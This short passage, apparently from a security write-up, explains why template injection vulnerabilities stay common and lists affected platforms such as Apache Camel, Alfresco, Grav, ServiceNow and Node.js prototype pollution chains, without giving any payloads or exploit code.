Template injection vulnerabilities remain common due to the complexity of modern template engines and their powerful features. The attack surface extends beyond traditional web frameworks to message-driven architectures (Apache Camel), CMS platforms (Alfresco, Grav), enterprise IT management (ServiceNow), and Node.js prototype pollution chains.